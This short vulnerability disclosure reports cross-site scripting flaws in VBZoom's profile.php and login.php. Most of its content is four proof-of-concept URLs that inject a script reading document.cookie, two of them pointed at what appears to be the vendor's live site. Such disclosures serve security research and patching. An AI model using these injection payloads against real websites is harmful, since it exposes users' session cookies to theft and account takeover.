VBZoom Cross Site Scripting Vulnerabilities

[almaster@xxxxxxxxxxx]

Hi All.

VBzoom

PROPLEM >>>THERE IS Cross site scripting IN FILE NAMED profile.php & login.php

EXPLIOT >>> 
http://www.victim.com/vbzoom/profile.php?UserID=1&UserName=<br><script>alert(document.cookie);</script>

EXPLIOT >>> 
http://Victim.com/vbzoom/login.php?UserID='<br><script>alert(document.cookie);</script>

EXAMPLE 
>>>http://www.vbzoom.com/vz/profile.php?UserID=1&UserName=<br><script>alert(document.cookie);</script>

EXAMPLE 
>>>http://www.vbzoom.com/vz/login.php?UserID='<br><script>alert(document.cookie);</script>

DISCOVERED BY >> aLMaSTeR [at] HotMail [dot] com
GREETS >>> FOR S4a.cc